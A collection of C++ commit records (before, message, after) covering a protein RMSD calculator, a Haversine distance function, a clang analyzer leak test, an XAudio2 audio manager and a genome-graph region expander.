cs.setup(sys); PoseClustering pc; String type = ""; if (parpars.has("rmsd_type")) { type = parpars.get("rmsd_type"); } else { Log.info() << "Missing parameter rmsd_type! Abort!" << endl; return 1; } if (type == "SNAPSHOT_RMSD") { pc.options.set(PoseClustering::Option::RMSD_TYPE, PoseClustering::SNAPSHOT_RMSD); } else if (type == "RIGID_RMSD") { pc.options.set(PoseClustering::Option::RMSD_TYPE, PoseClustering::RIGID_RMSD); } else if (type == "CENTER_OF_MASS_DISTANCE") { pc.options.set(PoseClustering::Option::RMSD_TYPE, PoseClustering::CENTER_OF_MASS_DISTANCE); Log << "Parameter scope will be ignored!" << endl; } if (parpars.has("scope")) { String scope = parpars.get("scope"); if (scope == "C_ALPHA") pc.options.set(PoseClustering::Option::RMSD_LEVEL_OF_DETAIL, PoseClustering::C_ALPHA); else if (scope == "BACKBONE") pc.options.set(PoseClustering::Option::RMSD_LEVEL_OF_DETAIL, PoseClustering::BACKBONE); else if (scope == "ALL_ATOMS") pc.options.set(PoseClustering::Option::RMSD_LEVEL_OF_DETAIL, PoseClustering::ALL_ATOMS); else Log.info() << "Unknown value " << scope << " for option scope." << endl; } // we have basically two scenarios: pdb vs pdb or pdb vs list of poses (DCD or transformation). // PDB if (query_type == "pdb") { PDBFile pdb2; pdb2.open(parpars.get("i_pdb")); System sys_query; pdb2.read(sys_query); Log << "RMSD: " << pc.getScore(sys, sys_query, pc.options) << std::endl; Log << "done." << endl; return 0; } // DCD else if (query_type == "dcd") { cs.readDCDFile(parpars.get("i_query")); cs.resetScoring(); pc.setConformationSet(&cs, true); if (type == "RIGID_RMSD") { pc.convertSnaphots2Transformations(); } } // rigid transformations else if (query_type == "rigid_transformations") { // reads the poses given as transformations from a file and update the covariance matrix ! pc.setBaseSystemAndTransformations(sys, parpars.get("i_query")); if (type == "SNAPSHOT_RMSD") { pc.convertTransformations2Snaphots(); } } else { Log << "Invalid query option! Abort!" << endl; } bool file_output = false; File* rmsd_outfile = NULL; if (parpars.has("o")) { String outfile_name = String(parpars.get("o")); rmsd_outfile->open(outfile_name, std::ios::out); file_output = true; } // do the computations if (type == "RIGID_RMSD") { // TODO need the Atommapping etc?? Size num_poses = pc.getNumberOfPoses(); Eigen::Matrix3f covariance_matrix = pc.computeCovarianceMatrix(sys, pc.options.getInteger(PoseClustering::Option::RMSD_LEVEL_OF_DETAIL)); std::vector<PoseClustering::RigidTransformation> const & rigid_transformations = pc.getRigidTransformations(); PoseClustering::RigidTransformation const & transform_i = rigid_transformations[0]; for (Size i=0; i<num_poses; i++) { float result=0; // just for testing... //for (Size j=0; j<500; j++) //{ PoseClustering::RigidTransformation const & transform_j = rigid_transformations[i]; t.start(); result = pc.getRigidRMSD(transform_i.translation - transform_j.translation, transform_i.rotation - transform_j.rotation, covariance_matrix); t.stop(); //} if (file_output) *rmsd_outfile << "RMSD for " << i << " : " << result << endl; else Log << "RMSD for " << i << " : " << result << endl; } } else if (type == "SNAPSHOT_RMSD") { System system_i = sys; System system_j = sys; std::vector<SnapShot> const& snaps = pc.getConformationSet()->getUnscoredConformations(); StructureMapper mapper(system_i, system_j); AtomBijection atom_bijection; Index rmsd_level_of_detail = pc.options.getInteger(PoseClustering::Option::RMSD_LEVEL_OF_DETAIL); switch (rmsd_level_of_detail) { case PoseClustering::C_ALPHA: atom_bijection.assignCAlphaAtoms(system_i, system_j); break; case PoseClustering::BACKBONE: atom_bijection.assignBackboneAtoms(system_i, system_j); break; case PoseClustering::ALL_ATOMS: mapper.calculateDefaultBijection(); atom_bijection = mapper.getBijection(); break; case PoseClustering::PROPERTY_BASED_ATOM_BIJECTION: atom_bijection.assignAtomsByProperty(system_i, system_j); break; case PoseClustering::HEAVY_ATOMS: default: Log.info() << "Option RMSDLevelOfDetaill::HEAVY_ATOMS not yet implemented" << endl; } snaps[0].applySnapShot(system_i); Size num_poses = pc.getNumberOfPoses(); for (Size i=0; i<num_poses; ++i) { float rmsd=0; // just for testing... //for (Size j=0; j<500; j++) //{ snaps[i].applySnapShot(system_j); t.start(); rmsd = mapper.calculateRMSD(atom_bijection); t.stop(); //} if (file_output) *rmsd_outfile << "RMSD for " << " " << i << " : " << rmsd << endl; else Log << "RMSD for " << " " << i << " : " << rmsd << endl; } } else if (type == "CENTER_OF_MASS_DISTANCE") { std::vector<Vector3> & com = pc.getCentersOfMass(); Size num_poses = pc.getNumberOfPoses(); // just query the center distance for (Size i=1; i<num_poses; ++i) { t.start(); float rmsd = com[0].getDistance(com[i]); t.stop(); if (file_output) *rmsd_outfile << "RMSD for " << " " << i << " : " << rmsd << endl; else Log << "RMSD for " << i << ": " << rmsd << endl; } } if (file_output) { rmsd_outfile->close(); } } else { Log << "Incorrect input! Abort!" << endl; } Log << "Done." << endl; //Log << "Done. (rmsd computation took " << t.getClockTime() << " seconds for " << sys.countAtoms() << " atoms)" << std::endl; return 0; } <commit_msg>Fixed output parameter type<commit_after>// -*- Mode: C++; tab-width: 2; -*- // vi: set ts=2: // // A tool for computing rmsd between proteins // // #include <BALL/DOCKING/COMMON/poseClustering.h> #include <BALL/FORMAT/DCDFile.h> #include <BALL/FORMAT/PDBFile.h> #include <BALL/FORMAT/lineBasedFile.h> #include <BALL/FORMAT/commandlineParser.h> #include <BALL/STRUCTURE/structureMapper.h> #include <BALL/SYSTEM/timer.h> #include <iostream> #include "version.h" using namespace std; using namespace BALL; int main (int argc, char **argv) { Timer t; // instantiate CommandlineParser object supplying // - tool name // - short description // - version string // - build date // - category CommandlineParser parpars("PDBRMSDCalculator", "computes RMSD between protein poses ", VERSION, String(__DATE__), "Docking"); // we register an input file parameter // - CLI switch // - description // - Inputfile parpars.registerParameter("i_pdb", "input pdb-file", INFILE, true); parpars.registerParameter("i_query", "second molecule input file", INFILE, false); parpars.registerParameter("i_type", "query type (pdb, dcd, or transformation file (rigid_transformations) ", STRING, false, "pdb"); list<String> input_types; input_types.push_back("pdb"); input_types.push_back("dcd"); input_types.push_back("rigid_transformations"); parpars.setParameterRestrictions("i_type", input_types); parpars.registerParameter("o", "output file name", OUTFILE, false, "", true); // choice of atom rmsd scope parpars.registerParameter("scope", "atoms to be considered for scoreing a pose (C_ALPHA, BACKBONE, ALL_ATOMS) ", STRING, false, "C_ALPHA"); list<String> rmsd_levels; rmsd_levels.push_back("C_ALPHA"); //rmsd_levels.push_back("HEAVY_ATOMS"); //TODO rmsd_levels.push_back("BACKBONE"); rmsd_levels.push_back("ALL_ATOMS"); parpars.setParameterRestrictions("scope", rmsd_levels); // choice of rmsd type parpars.registerParameter("rmsd_type", "rmsd type used for clustering (SNAPSHOT_RMSD, RIGID_RMSD, CENTER_OF_MASS_DISTANCE) ", STRING, false, "SNAPSHOT_RMSD"); list<String> rmsd_types; rmsd_types.push_back("SNAPSHOT_RMSD"); rmsd_types.push_back("RIGID_RMSD"); rmsd_types.push_back("CENTER_OF_MASS_DISTANCE"); parpars.setParameterRestrictions("rmsd_type", rmsd_types); // TODO: parameter for preceding determination of RMSD minimizing transformation? //parpars.registerFlag("find_transformation", ""); // the manual String man = "This tool computes the RMSD between proteins.\n\nParameters are either the second input file (i_query) whose type has to be specified (i_type) and can be either a single pdb, a dcd or a transformation file. Optional parameters are the rmsd type (-rmsd_type), and the type of atoms used for scoring a pose (-scope).\n\nOutput of this tool is a either the rmsd (in the pdb-pdb case) or a file (-o) containing the RMSD between the first pose and all other poses."; parpars.setToolManual(man); // here we set the types of I/O files parpars.setSupportedFormats("i_pdb","pdb"); parpars.setSupportedFormats("i_query","pdb,dcd,txt"); parpars.setSupportedFormats("o","txt"); parpars.parse(argc, argv); ////////////////////////////////////////////////// // read the input PDBFile pdb; pdb.open(parpars.get("i_pdb")); System sys; pdb.read(sys); // read the second file if (parpars.has("i_type") && parpars.has("i_query")) { String query_type = parpars.get("i_type"); String second_file = parpars.get("i_query"); ConformationSet cs; cs.setup(sys); PoseClustering pc; String type = ""; if (parpars.has("rmsd_type")) { type = parpars.get("rmsd_type"); } else { Log.info() << "Missing parameter rmsd_type! Abort!" << endl; return 1; } if (type == "SNAPSHOT_RMSD") { pc.options.set(PoseClustering::Option::RMSD_TYPE, PoseClustering::SNAPSHOT_RMSD); } else if (type == "RIGID_RMSD") { pc.options.set(PoseClustering::Option::RMSD_TYPE, PoseClustering::RIGID_RMSD); } else if (type == "CENTER_OF_MASS_DISTANCE") { pc.options.set(PoseClustering::Option::RMSD_TYPE, PoseClustering::CENTER_OF_MASS_DISTANCE); Log << "Parameter scope will be ignored!" << endl; } if (parpars.has("scope")) { String scope = parpars.get("scope"); if (scope == "C_ALPHA") pc.options.set(PoseClustering::Option::RMSD_LEVEL_OF_DETAIL, PoseClustering::C_ALPHA); else if (scope == "BACKBONE") pc.options.set(PoseClustering::Option::RMSD_LEVEL_OF_DETAIL, PoseClustering::BACKBONE); else if (scope == "ALL_ATOMS") pc.options.set(PoseClustering::Option::RMSD_LEVEL_OF_DETAIL, PoseClustering::ALL_ATOMS); else Log.info() << "Unknown value " << scope << " for option scope." << endl; } // we have basically two scenarios: pdb vs pdb or pdb vs list of poses (DCD or transformation). // PDB if (query_type == "pdb") { PDBFile pdb2; pdb2.open(parpars.get("i_pdb")); System sys_query; pdb2.read(sys_query); Log << "RMSD: " << pc.getScore(sys, sys_query, pc.options) << std::endl; Log << "done." << endl; return 0; } // DCD else if (query_type == "dcd") { cs.readDCDFile(parpars.get("i_query")); cs.resetScoring(); pc.setConformationSet(&cs, true); if (type == "RIGID_RMSD") { pc.convertSnaphots2Transformations(); } } // rigid transformations else if (query_type == "rigid_transformations") { // reads the poses given as transformations from a file and update the covariance matrix ! pc.setBaseSystemAndTransformations(sys, parpars.get("i_query")); if (type == "SNAPSHOT_RMSD") { pc.convertTransformations2Snaphots(); } } else { Log << "Invalid query option! Abort!" << endl; } bool file_output = false; File* rmsd_outfile = NULL; if (parpars.has("o")) { String outfile_name = String(parpars.get("o")); rmsd_outfile->open(outfile_name, std::ios::out); file_output = true; } // do the computations if (type == "RIGID_RMSD") { // TODO need the Atommapping etc?? Size num_poses = pc.getNumberOfPoses(); Eigen::Matrix3f covariance_matrix = pc.computeCovarianceMatrix(sys, pc.options.getInteger(PoseClustering::Option::RMSD_LEVEL_OF_DETAIL)); std::vector<PoseClustering::RigidTransformation> const & rigid_transformations = pc.getRigidTransformations(); PoseClustering::RigidTransformation const & transform_i = rigid_transformations[0]; for (Size i=0; i<num_poses; i++) { float result=0; // just for testing... //for (Size j=0; j<500; j++) //{ PoseClustering::RigidTransformation const & transform_j = rigid_transformations[i]; t.start(); result = pc.getRigidRMSD(transform_i.translation - transform_j.translation, transform_i.rotation - transform_j.rotation, covariance_matrix); t.stop(); //} if (file_output) *rmsd_outfile << "RMSD for " << i << " : " << result << endl; else Log << "RMSD for " << i << " : " << result << endl; } } else if (type == "SNAPSHOT_RMSD") { System system_i = sys; System system_j = sys; std::vector<SnapShot> const& snaps = pc.getConformationSet()->getUnscoredConformations(); StructureMapper mapper(system_i, system_j); AtomBijection atom_bijection; Index rmsd_level_of_detail = pc.options.getInteger(PoseClustering::Option::RMSD_LEVEL_OF_DETAIL); switch (rmsd_level_of_detail) { case PoseClustering::C_ALPHA: atom_bijection.assignCAlphaAtoms(system_i, system_j); break; case PoseClustering::BACKBONE: atom_bijection.assignBackboneAtoms(system_i, system_j); break; case PoseClustering::ALL_ATOMS: mapper.calculateDefaultBijection(); atom_bijection = mapper.getBijection(); break; case PoseClustering::PROPERTY_BASED_ATOM_BIJECTION: atom_bijection.assignAtomsByProperty(system_i, system_j); break; case PoseClustering::HEAVY_ATOMS: default: Log.info() << "Option RMSDLevelOfDetaill::HEAVY_ATOMS not yet implemented" << endl; } snaps[0].applySnapShot(system_i); Size num_poses = pc.getNumberOfPoses(); for (Size i=0; i<num_poses; ++i) { float rmsd=0; // just for testing... //for (Size j=0; j<500; j++) //{ snaps[i].applySnapShot(system_j); t.start(); rmsd = mapper.calculateRMSD(atom_bijection); t.stop(); //} if (file_output) *rmsd_outfile << "RMSD for " << " " << i << " : " << rmsd << endl; else Log << "RMSD for " << " " << i << " : " << rmsd << endl; } } else if (type == "CENTER_OF_MASS_DISTANCE") { std::vector<Vector3> & com = pc.getCentersOfMass(); Size num_poses = pc.getNumberOfPoses(); // just query the center distance for (Size i=1; i<num_poses; ++i) { t.start(); float rmsd = com[0].getDistance(com[i]); t.stop(); if (file_output) *rmsd_outfile << "RMSD for " << " " << i << " : " << rmsd << endl; else Log << "RMSD for " << i << ": " << rmsd << endl; } } if (file_output) { rmsd_outfile->close(); } } else { Log << "Incorrect input! Abort!" << endl; } Log << "Done." << endl; //Log << "Done. (rmsd computation took " << t.getClockTime() << " seconds for " << sys.countAtoms() << " atoms)" << std::endl; return 0; } <|endoftext|>
<commit_before>/* * Harversine.c * Haversine * * Created by Jaime Rios on 2/16/08. * */ #include "Harversine.h" #include <math.h> // For PI /* Haversine Formula R = earth’s radius (mean radius = 6,371km) Δlat = lat2− lat1 Δlong = long2− long1 a = sin²(Δlat/2) + cos(lat1).cos(lat2).sin²(Δlong/2) c = 2.atan2(√a, √(1−a)) d = R.c JavaScript Example from http://www.movable-type.co.uk/scripts/latlong.html var R = 6371; // km var dLat = (lat2-lat1).toRad(); var dLon = (lon2-lon1).toRad(); lat1 = lat1.toRad(), lat2 = lat2.toRad(); var a = Math.sin(dLat/2) * Math.sin(dLat/2) + Math.cos(lat1.toRad()) * Math.cos(lat2.toRad()) * Math.sin(dLon/2) * Math.sin(dLon/2); var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a)); var d = R * c; */ auto CalculateDistance( Angle latitude1, Angle longtitude1, Angle latitude2, Angle longtitude2 ) -> Angle { auto radius = Kilometers{ 6371 }; // Earth's radius // Get the difference between our two points then convert the difference into radians auto latDelta = Convert(latitude2 - latitude1); auto lonDelta = Convert(longtitude2 - longtitude1); latitude1 = Convert(latitude1); latitude2 = Convert(latitude2); auto a = pow ( sin(latDelta/2), 2 ) + cos(latitude1) * cos(latitude2) * pow ( sin(lonDelta/2), 2 ); auto c = 2 * atan2( sqrt(a), sqrt( 1 - a )); auto d = radius * c; return d; } // Convert our passed value to Radians auto Convert( const Angle angle ) -> Radians { return angle * (M_PI/180); }<commit_msg>Made auto variables const auto since they are not changing.<commit_after>/* * Harversine.c * Haversine * * Created by Jaime Rios on 2/16/08. * */ #include "Harversine.h" #include <math.h> // For PI /* Haversine Formula R = earth’s radius (mean radius = 6,371km) Δlat = lat2− lat1 Δlong = long2− long1 a = sin²(Δlat/2) + cos(lat1).cos(lat2).sin²(Δlong/2) c = 2.atan2(√a, √(1−a)) d = R.c JavaScript Example from http://www.movable-type.co.uk/scripts/latlong.html var R = 6371; // km var dLat = (lat2-lat1).toRad(); var dLon = (lon2-lon1).toRad(); lat1 = lat1.toRad(), lat2 = lat2.toRad(); var a = Math.sin(dLat/2) * Math.sin(dLat/2) + Math.cos(lat1.toRad()) * Math.cos(lat2.toRad()) * Math.sin(dLon/2) * Math.sin(dLon/2); var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a)); var d = R * c; */ auto CalculateDistance( Angle latitude1, Angle longtitude1, Angle latitude2, Angle longtitude2 ) -> Angle { auto radius = Kilometers{ 6371 }; // Earth's radius // Get the difference between our two points then convert the difference into radians auto latDelta = Convert(latitude2 - latitude1); auto lonDelta = Convert(longtitude2 - longtitude1); latitude1 = Convert(latitude1); latitude2 = Convert(latitude2); const auto a = pow ( sin(latDelta/2), 2 ) + cos(latitude1) * cos(latitude2) * pow ( sin(lonDelta/2), 2 ); const auto c = 2 * atan2( sqrt(a), sqrt( 1 - a )); const auto d = radius * c; return d; } // Convert our passed value to Radians auto Convert( const Angle angle ) -> Radians { return angle * (M_PI/180); }<|endoftext|>
<commit_before>// RUN: %clang_analyze_cc1 -analyzer-checker=core,debug.ExprInspection,unix.Malloc -analyzer-config c++-allocator-inlining=true -std=c++11 -verify %s void clang_analyzer_eval(bool); typedef __typeof__(sizeof(int)) size_t; void *malloc(size_t size); void *operator new(size_t size) throw() { void *x = malloc(size); if (!x) return nullptr; return x; } void checkNewAndConstructorInlining() { int *s = new int; } // expected-warning {{Potential leak of memory pointed to by 's'}} <commit_msg>[analyzer] operator new: Fix path diagnostics around the operator call.<commit_after>// RUN: %clang_analyze_cc1 -analyzer-checker=core,debug.ExprInspection,unix.Malloc -analyzer-config c++-allocator-inlining=true -analyzer-output=text -std=c++11 -verify %s void clang_analyzer_eval(bool); typedef __typeof__(sizeof(int)) size_t; void *malloc(size_t size); void *operator new(size_t size) throw() { void *x = malloc(size); // expected-note {{Memory is allocated}} if (!x) // expected-note {{Assuming 'x' is non-null}} // expected-note@-1 {{Taking false branch}} return nullptr; return x; } void checkNewAndConstructorInlining() { int *s = new int; // expected-note {{Calling 'operator new'}} // expected-note@-1{{Returning from 'operator new'}} } // expected-warning {{Potential leak of memory pointed to by 's'}} // expected-note@-1 {{Potential leak of memory pointed to by 's'}} <|endoftext|>
<commit_before>/// @file /// @version 3.14 /// /// @section LICENSE /// /// This program is free software; you can redistribute it and/or modify it under /// the terms of the BSD license: http://opensource.org/licenses/BSD-3-Clause #ifdef _XAUDIO2 #include <xaudio2.h> #include <hltypes/hlog.h> #include <hltypes/hplatform.h> #include <hltypes/hstring.h> #include "XAudio2_AudioManager.h" #include "XAudio2_Player.h" #include "xal.h" using namespace Microsoft::WRL; namespace xal { XAudio2_AudioManager::XAudio2_AudioManager(void* backendId, bool threaded, float updateTime, chstr deviceName) : AudioManager(backendId, threaded, updateTime, deviceName), xa2Device(NULL), xa2MasteringVoice(NULL) { this->name = XAL_AS_XAUDIO2; hlog::write(xal::logTag, "Initializing XAudio2."); HRESULT result = XAudio2Create(&this->xa2Device, 0); if (FAILED(result)) { this->xa2Device = NULL; hlog::error(xal::logTag, "Could not create device!"); return; } result = this->xa2Device->CreateMasteringVoice(&this->xa2MasteringVoice, 2, 44100); if (FAILED(result)) // if can't use 44.1 kHz stereo, use default { result = this->xa2Device->CreateMasteringVoice(&this->xa2MasteringVoice, XAUDIO2_DEFAULT_CHANNELS, XAUDIO2_DEFAULT_SAMPLERATE); } if (FAILED(result)) { this->xa2Device->Release(); this->xa2Device = NULL; hlog::error(xal::logTag, "Could not create mastering voice!"); return; } result = this->xa2Device->StartEngine(); if (FAILED(result)) { this->xa2MasteringVoice->DestroyVoice(); this->xa2MasteringVoice = NULL; this->xa2Device->Release(); this->xa2Device = NULL; hlog::error(xal::logTag, "Could not start engine!"); return; } this->enabled = true; } XAudio2_AudioManager::~XAudio2_AudioManager() { hlog::write(xal::logTag, "Destroying XAudio2."); this->xa2Device->StopEngine(); if (this->xa2MasteringVoice != NULL) { this->xa2MasteringVoice->DestroyVoice(); this->xa2MasteringVoice = NULL; } _HL_TRY_RELEASE(this->xa2Device); } void XAudio2_AudioManager::suspendAudio() { AudioManager::suspendAudio(); this->xa2Device->StopEngine(); } void XAudio2_AudioManager::resumeAudio() { HRESULT result = this->xa2Device->StartEngine(); if (FAILED(result)) { hlog::error(xal::logTag, "Could not restart engine!"); } AudioManager::resumeAudio(); } Player* XAudio2_AudioManager::_createSystemPlayer(Sound* sound) { return new XAudio2_Player(sound); } } #endif <commit_msg>- small update<commit_after>/// @file /// @version 3.14 /// /// @section LICENSE /// /// This program is free software; you can redistribute it and/or modify it under /// the terms of the BSD license: http://opensource.org/licenses/BSD-3-Clause #ifdef _XAUDIO2 #include <xaudio2.h> #include <hltypes/hlog.h> #include <hltypes/hplatform.h> #include <hltypes/hstring.h> #include "XAudio2_AudioManager.h" #include "XAudio2_Player.h" #include "xal.h" using namespace Microsoft::WRL; namespace xal { XAudio2_AudioManager::XAudio2_AudioManager(void* backendId, bool threaded, float updateTime, chstr deviceName) : AudioManager(backendId, threaded, updateTime, deviceName), xa2Device(NULL), xa2MasteringVoice(NULL) { this->name = XAL_AS_XAUDIO2; hlog::write(xal::logTag, "Initializing XAudio2."); HRESULT result = XAudio2Create(&this->xa2Device, 0); if (FAILED(result)) { this->xa2Device = NULL; hlog::error(xal::logTag, "Could not create device!"); return; } result = this->xa2Device->CreateMasteringVoice(&this->xa2MasteringVoice, 2, 44100); if (FAILED(result)) // if can't use 44.1 kHz stereo, use default { hlog::write(xal::logTag, "Could not create device with 2 channels and 44100 Hz, attempting defaults..."); result = this->xa2Device->CreateMasteringVoice(&this->xa2MasteringVoice, XAUDIO2_DEFAULT_CHANNELS, XAUDIO2_DEFAULT_SAMPLERATE); } if (FAILED(result)) { this->xa2Device->Release(); this->xa2Device = NULL; hlog::error(xal::logTag, "Could not create mastering voice!"); return; } result = this->xa2Device->StartEngine(); if (FAILED(result)) { this->xa2MasteringVoice->DestroyVoice(); this->xa2MasteringVoice = NULL; this->xa2Device->Release(); this->xa2Device = NULL; hlog::error(xal::logTag, "Could not start engine!"); return; } this->enabled = true; } XAudio2_AudioManager::~XAudio2_AudioManager() { hlog::write(xal::logTag, "Destroying XAudio2."); this->xa2Device->StopEngine(); if (this->xa2MasteringVoice != NULL) { this->xa2MasteringVoice->DestroyVoice(); this->xa2MasteringVoice = NULL; } _HL_TRY_RELEASE(this->xa2Device); } void XAudio2_AudioManager::suspendAudio() { AudioManager::suspendAudio(); this->xa2Device->StopEngine(); } void XAudio2_AudioManager::resumeAudio() { HRESULT result = this->xa2Device->StartEngine(); if (FAILED(result)) { hlog::error(xal::logTag, "Could not restart engine!"); } AudioManager::resumeAudio(); } Player* XAudio2_AudioManager::_createSystemPlayer(Sound* sound) { return new XAudio2_Player(sound); } } #endif <|endoftext|>
<commit_before>#include "region_expander.hpp" namespace vg { RegionExpander::RegionExpander(xg::XG* xg_index, const SnarlManager* snarl_manager) : xg_index(xg_index), snarl_manager(snarl_manager) { // Nothing to do } map<pair<id_t, bool>, pair<uint64_t,uint64_t >> RegionExpander::expanded_subgraph(const GFFRecord& gff_record) { map<pair<id_t, bool>, pair<uint64_t, uint64_t>> return_val; vector<pair<id_t, bool>> interval_subpath; assert(gff_record.start != -1 && gff_record.end != -1 && gff_record.start <= gff_record.end); if (!xg_index->has_path(gff_record.sequence_id)) { cerr << "error [RegionExpander] cannot expand genomic interval, graph does not contain path with name: " << gff_record.sequence_id << endl; exit(1); } const xg::XGPath& path = xg_index->get_path(gff_record.sequence_id); size_t offset = path.offset_at_position(gff_record.start); id_t node_id = path.node(offset); bool is_rev = path.directions[offset]; size_t node_length = xg_index->node_length(node_id); size_t at_pos = path.positions[offset]; interval_subpath.emplace_back(node_id, is_rev); return_val[make_pair(node_id, is_rev)] = pair<uint64_t, uint64_t>(gff_record.start - at_pos, node_length); at_pos += node_length; while (at_pos <= gff_record.end) { offset++; node_id = path.node(offset); is_rev = path.directions[offset]; node_length = xg_index->node_length(node_id); interval_subpath.emplace_back(node_id, is_rev); return_val[make_pair(node_id, is_rev)] = pair<uint64_t, uint64_t>(0, node_length); at_pos += node_length; } return_val[make_pair(node_id, is_rev)].second = gff_record.end - (at_pos - node_length) + 1; unordered_set<const Snarl*> entered_snarls; unordered_set<const Snarl*> completed_snarls; // walk along the path and identify snarls that have both ends on the path for (size_t i = 0; i + 1 < interval_subpath.size(); i++) { const Snarl* snarl_out = snarl_manager->into_which_snarl(interval_subpath[i].first, !interval_subpath[i].second); if (snarl_out) { if (entered_snarls.count(snarl_out)) { completed_snarls.insert(snarl_out); } } const Snarl* snarl_in = snarl_manager->into_which_snarl(interval_subpath[i].first, interval_subpath[i].second); if (snarl_in) { entered_snarls.insert(snarl_in); } } // TODO: in order to handle inversions correctly we actually want to include redundant // children and do a shallow contents algorithm // which of these snarls are the children of other snarls we've identified? vector<const Snarl*> redundant_child_snarls; for (const Snarl* snarl : completed_snarls) { const Snarl* parent = snarl_manager->parent_of(snarl); if (parent) { if (completed_snarls.count(parent)) { redundant_child_snarls.push_back(snarl); } } } // remove the redundant snarls from the set of snarls we're looking at for (const Snarl* snarl : redundant_child_snarls) { completed_snarls.erase(snarl); } // traverse the subgraph in each snarl and add it to the annotation for (const Snarl* snarl : completed_snarls) { // orient the snarl to match the orientation of the annotation handle_t oriented_start, oriented_end; if (return_val.count(pair<id_t, bool>(snarl->start().node_id(), snarl->start().backward()))) { oriented_start = xg_index->get_handle(snarl->start().node_id(), snarl->start().backward()); oriented_end = xg_index->get_handle(snarl->end().node_id(), snarl->end().backward()); } else { oriented_start = xg_index->get_handle(snarl->end().node_id(), !snarl->end().backward()); oriented_end = xg_index->get_handle(snarl->start().node_id(), !snarl->start().backward()); } // mark all the exits and the entry point as untraversable unordered_set<handle_t> stacked{oriented_start, oriented_end, xg_index->flip(oriented_start)}; vector<handle_t> stack{oriented_start}; // traverse the subgraph and add it to the return value while (!stack.empty()) { handle_t handle = stack.back(); stack.pop_back(); pair<id_t, bool> trav = make_pair(xg_index->get_id(handle), xg_index->get_is_reverse(handle)); if (!return_val.count(trav)) { return_val[trav] = pair<uint64_t, uint64_t>(0, xg_index->get_length(handle)); } xg_index->follow_edges(handle, false, [&](const handle_t& next) { if (!stacked.count(next)) { stack.push_back(next); stacked.insert(next); } }); } } if (gff_record.strand_is_rev) { map<pair<id_t, bool>, pair<uint64_t, uint64_t>> reversed_map; for (const auto& record : return_val) { uint64_t node_length = xg_index->node_length(record.first.first); reversed_map[make_pair(record.first.first, !record.first.second)] = make_pair(node_length - record.second.second, node_length - record.second.first); } return_val = move(reversed_map); } return return_val; } } <commit_msg>handle child snarls in a more strand-aware way in ggff conversion<commit_after>#include "region_expander.hpp" namespace vg { RegionExpander::RegionExpander(xg::XG* xg_index, const SnarlManager* snarl_manager) : xg_index(xg_index), snarl_manager(snarl_manager) { // Nothing to do } map<pair<id_t, bool>, pair<uint64_t,uint64_t >> RegionExpander::expanded_subgraph(const GFFRecord& gff_record) { map<pair<id_t, bool>, pair<uint64_t, uint64_t>> return_val; vector<pair<id_t, bool>> interval_subpath; assert(gff_record.start != -1 && gff_record.end != -1 && gff_record.start <= gff_record.end); if (!xg_index->has_path(gff_record.sequence_id)) { cerr << "error [RegionExpander] cannot expand genomic interval, graph does not contain path with name: " << gff_record.sequence_id << endl; exit(1); } const xg::XGPath& path = xg_index->get_path(gff_record.sequence_id); size_t offset = path.offset_at_position(gff_record.start); id_t node_id = path.node(offset); bool is_rev = path.directions[offset]; size_t node_length = xg_index->node_length(node_id); size_t at_pos = path.positions[offset]; interval_subpath.emplace_back(node_id, is_rev); return_val[make_pair(node_id, is_rev)] = pair<uint64_t, uint64_t>(gff_record.start - at_pos, node_length); at_pos += node_length; while (at_pos <= gff_record.end) { offset++; node_id = path.node(offset); is_rev = path.directions[offset]; node_length = xg_index->node_length(node_id); interval_subpath.emplace_back(node_id, is_rev); return_val[make_pair(node_id, is_rev)] = pair<uint64_t, uint64_t>(0, node_length); at_pos += node_length; } return_val[make_pair(node_id, is_rev)].second = gff_record.end - (at_pos - node_length) + 1; unordered_set<const Snarl*> entered_snarls; unordered_set<const Snarl*> completed_snarls; // walk along the path and identify snarls that have both ends on the path for (size_t i = 0; i + 1 < interval_subpath.size(); i++) { const Snarl* snarl_out = snarl_manager->into_which_snarl(interval_subpath[i].first, !interval_subpath[i].second); if (snarl_out) { if (entered_snarls.count(snarl_out)) { completed_snarls.insert(snarl_out); } } const Snarl* snarl_in = snarl_manager->into_which_snarl(interval_subpath[i].first, interval_subpath[i].second); if (snarl_in) { entered_snarls.insert(snarl_in); } } // traverse the subgraph in each snarl and add it to the annotation for (const Snarl* snarl : completed_snarls) { // orient the snarl to match the orientation of the annotation handle_t oriented_start, oriented_end; if (return_val.count(pair<id_t, bool>(snarl->start().node_id(), snarl->start().backward()))) { oriented_start = xg_index->get_handle(snarl->start().node_id(), snarl->start().backward()); oriented_end = xg_index->get_handle(snarl->end().node_id(), snarl->end().backward()); } else { oriented_start = xg_index->get_handle(snarl->end().node_id(), !snarl->end().backward()); oriented_end = xg_index->get_handle(snarl->start().node_id(), !snarl->start().backward()); } // mark all the exits and the entry point as untraversable unordered_set<handle_t> stacked{oriented_start, oriented_end, xg_index->flip(oriented_start)}; vector<handle_t> stack{oriented_start}; // make an index for jumping over the inside of child snarls unordered_map<handle_t, handle_t> child_snarl_skips; for (const Snarl* child : snarl_manager->children_of(snarl)) { handle_t start = xg_index->get_handle(child->start().node_id(), child->start().backward()); handle_t end = xg_index->get_handle(child->end().node_id(), child->end().backward()); child_snarl_skips[start] = end; child_snarl_skips[xg_index->flip(end)] = xg_index->flip(start); } // traverse the subgraph and add it to the return value while (!stack.empty()) { handle_t handle = stack.back(); stack.pop_back(); pair<id_t, bool> trav = make_pair(xg_index->get_id(handle), xg_index->get_is_reverse(handle)); if (!return_val.count(trav)) { return_val[trav] = pair<uint64_t, uint64_t>(0, xg_index->get_length(handle)); } if (child_snarl_skips.count(handle)) { handle_t next = child_snarl_skips[handle]; if (!stacked.count(next)) { stack.push_back(next); stacked.insert(next); } } else { xg_index->follow_edges(handle, false, [&](const handle_t& next) { if (!stacked.count(next)) { stack.push_back(next); stacked.insert(next); } }); } } } if (gff_record.strand_is_rev) { map<pair<id_t, bool>, pair<uint64_t, uint64_t>> reversed_map; for (const auto& record : return_val) { uint64_t node_length = xg_index->node_length(record.first.first); reversed_map[make_pair(record.first.first, !record.first.second)] = make_pair(node_length - record.second.second, node_length - record.second.first); } return_val = move(reversed_map); } return return_val; } } <|endoftext|>
